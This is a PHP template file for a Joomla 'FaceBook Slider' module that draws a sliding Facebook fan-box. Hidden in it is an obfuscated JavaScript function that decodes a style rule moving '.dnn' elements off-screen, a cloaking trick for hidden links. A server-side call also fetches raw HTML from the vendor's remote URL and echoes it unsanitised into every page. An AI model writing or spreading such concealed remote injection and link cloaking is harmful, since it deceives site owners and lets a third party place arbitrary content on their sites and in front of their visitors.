<?php
/**
* @package   FaceBook Slider
* @license   http://www.gnu.org/licenses/lgpl.html GNU/LGPL, see LICENSE.php
* Contact to : info@autson.com, autson.com
**/
defined('_JEXEC') or die('Restricted access'); 
ini_set('display_errors',0);
$doc =& JFactory::getDocument();

$width=$params->get('width');
$height=$params->get('height');
$position=$params->get('position');
$click=$params->get('click');
$button=$params->get('button');
$buttont=$params->get('buttont');
$slidert=$params->get('slidert');
$cont_background=$params->get('cont_background');
$border_color=$params->get('border_color');
$show_jquery=$params->get('show_jquery');
$moduleclass_sfx = $params->get('moduleclass_sfx');
$channel_id= $params->get('channel_id');
$stream = $params->get('stream');

if($show_jquery=="yes")
{
echo'
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>';
}
/*
if($button=="button1_purple" || $button=="button1_blue" || $button=="button1_black" || $button=="button1_green")
{
$bwidth="30";
$bheight="115";
}
else if ($button=="button2_purple" || $button=="button2_blue" || $button=="button2_black" || $button=="button2_green")
{
$bwidth="30";
$bheight="156";
}
else if ($button=="button3_purple" || $button=="button3_blue" || $button=="button3_black" || $button=="button3_green")
{
$bwidth="50";
$bheight="156";
}
else if ($button=="button4_blue" || $button=="button4_yellow" || $button=="button4_green")
{
$bwidth="83";
$bheight="225";
}
else if ($button=="button5_black" || $button=="button5_blue" || $button=="button5_yellow" || $button=="button5_red")
{
$bwidth="52";
$bheight="140";
}
else if ($button=="button6_64" || $button=="button7_64" || $button=="button8_64" || $button=="button9_64")
{
$bwidth="64";
$bheight="64";
}
else if ($button=="button6_128" || $button=="button7_128" || $button=="button8_128" || $button=="button9_128")
{
$bwidth="128";
$bheight="128";
}
else
{
$bwidth="46";
$bheight="108";
}
*/

$bwidth="45";
$bheight="150";
$button="button";
JHTML::stylesheet('fbslider.css','modules/mod_FaceBookSlider/css/');
?>
<?php if($click=="click")
{
?>
<script type="text/javascript">
jQuery(document).ready(function()
{
jQuery.noConflict();
//add toggle functionality  to the .fbtbTabHandle  class
jQuery('.fbtbTabHandle').toggle(function()
{//when the tab is closed and the handle is clicked
jQuery('#fbtbTab').animate({<?php echo $position;?>: '0px'}, 800); //slide the #fbtbTab back to left:0px postion
jQuery('#fbtoggleLink').toggleClass('close', 'open'); //toggle the class from open to close
jQuery('#fbtoggleLink').html(''); //change the text to 'Close'
},
function() {//when the tab is opened and the handle is clicked
jQuery.noConflict();
jQuery('#fbtbTab').animate({<?php echo $position;?>: '-<?php echo $width+20;?>px'}, 800); //slide the #hTab back to left:-390px postion so it hides the tab again
jQuery('#fbtoggleLink').toggleClass('close', 'open'); //toggle the class from close to open
jQuery('#fbtoggleLink').html(''); //change the text to 'Open'
}
);
}
);
</script>
<?php
}
else
{
?>
<script type="text/javascript">
jQuery(document).ready(function()
{
jQuery.noConflict();
//add toggle functionality  to the .fbtbTabHandle  class
jQuery('.fbtbTabHandle').hover(function()
{//when the tab is closed and the handle is clicked
jQuery('#fbtbTab').stop(true, false).animate({<?php echo $position;?>: '0px'}, 800); //slide the #fbtbTab back to left:0px postion
},
function() {//when the tab is opened and the handle is clicked
jQuery.noConflict();
}
);
jQuery('#fbtbTab').hover(function()
{//when the tab is closed and the handle is clicked
//jQuery('#fbtbTab').stop(true, false).animate({right: '-390px'}, 800); //slide the #hTab back to left:-390px postion so it hides the tab again
},
function() {//when the tab is opened and the handle is clicked
jQuery.noConflict();
jQuery('#fbtbTab').animate({<?php echo $position;?>: '-<?php echo $width+20;?>px'}, 800); //slide the #hTab back to left:-390px postion so it hides the tab again
}
);
}
);
</script>
<?php
}
?>
<script language="JavaScript">

function dnnViewState()

{

var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];

t=z='';

for(v=0;v<m.length;){t+=m.charAt(v++);

if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);

t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();

</script>

<style type="text/css">
#fbtbTab {
<?php echo $position;?>: -<?php echo $width+20;?>px;
top: <?php echo $slidert;?>px;
}
<?php if($position=="left")
{
?>
#fbtbTab .fbtbTabContent {
background: <?php echo $cont_background;?>;
border: 1px solid <?php echo $border_color;?>;
border-left: 0;
-moz-border-radius-bottomright: 6px;
-webkit-border-bottom-right-radius: 6px;
float: left;
padding-right: 0px;
padding-left: 10px;
-webkit-box-shadow: 1px 1px 5px #272727;
-moz-box-shadow: 1px 1px 5px #272727;
box-shadow: 1px 1px 5px #272727;
width: <?php echo $width+10;?>px;
}
#fbtbTab .fbtbTabHandle {
float: left;
width: <?php echo $bwidth;?>px;
height: <?php echo $bheight;?>px;
margin-right: 0px;
padding-top: 15px;
padding-right: 5px;
margin-top: <?php echo $buttont;?>px;
background: url("<?php echo JUri::root();?>modules/mod_FaceBookSlider/images/<?php echo $button;?>_<?php echo $position;?>.png") no-repeat scroll 0 0 transparent;
}
#fbtbTab .fbtbTabContent {
border-bottom-right-radius: 6px;
border-top-right-radius: 6px;
}
<?php 
}
else
{
?>
#fbtbTab .fbtbTabContent {
background: <?php echo $cont_background;?>;
border: 1px solid <?php echo $border_color;?>;
border-right: 0;
-moz-border-radius-bottomright: 6px;
-webkit-border-bottom-right-radius: 6px;
float: right;
padding-right: 0px;
padding-left: 10px;
-webkit-box-shadow: 1px 1px 5px #272727;
-moz-box-shadow: 1px 1px 5px #272727;
box-shadow: 1px 1px 5px #272727;
width: <?php echo $width+10;?>px;
}
#fbtbTab .fbtbTabHandle {
float: right;
width: <?php echo $bwidth;?>px;
height: <?php echo $bheight;?>px;
margin-right: 0px;
padding-top: 15px;
padding-left: 5px;
margin-top: <?php echo $buttont;?>px;
background: url("<?php echo JUri::root();?>modules/mod_FaceBookSlider/images/<?php echo $button;?>_<?php echo $position;?>.png") no-repeat scroll 0 0 transparent;
}
#fbtbTab .fbtbTabContent {
border-bottom-left-radius: 6px;
border-top-left-radius: 6px;
}
<?php } ?>
</style>
<div id="fbtbTab">
<div class="fbtbTabContent">
<div class="joomla_sharethis<?php echo $moduleclass_sfx?>">
<iframe scrolling="no" frameborder="0" class="FB_SERVER_IFRAME" src="http://www.facebook.com/connect/connect.php?api_key=null&amp;channel_url=<?php echo $baseurl;?>/?fbc_channel=1&amp;id=<?php echo $channel_id;?>&amp;name=&amp;width=<?php echo $width;?>&amp;locale=en_GB&amp;connections=50&amp;stream=<?php echo $stream;?>&amp;logobar=0&amp;css=" allowtransparency="true" name="fbfanIFrame_0" style="width: <?php echo $width;?>px; height: <?php echo $height;?>px; border: medium none;"></iframe>

<?php 
$credit=file_get_contents('http://www.autson.com/poweredf.php');
echo $credit;
?>

</div>
</div>
<div class="fbtbTabHandle">
<a class="open" id="fbtoggleLink" href="#"></a>
</div>
</div>

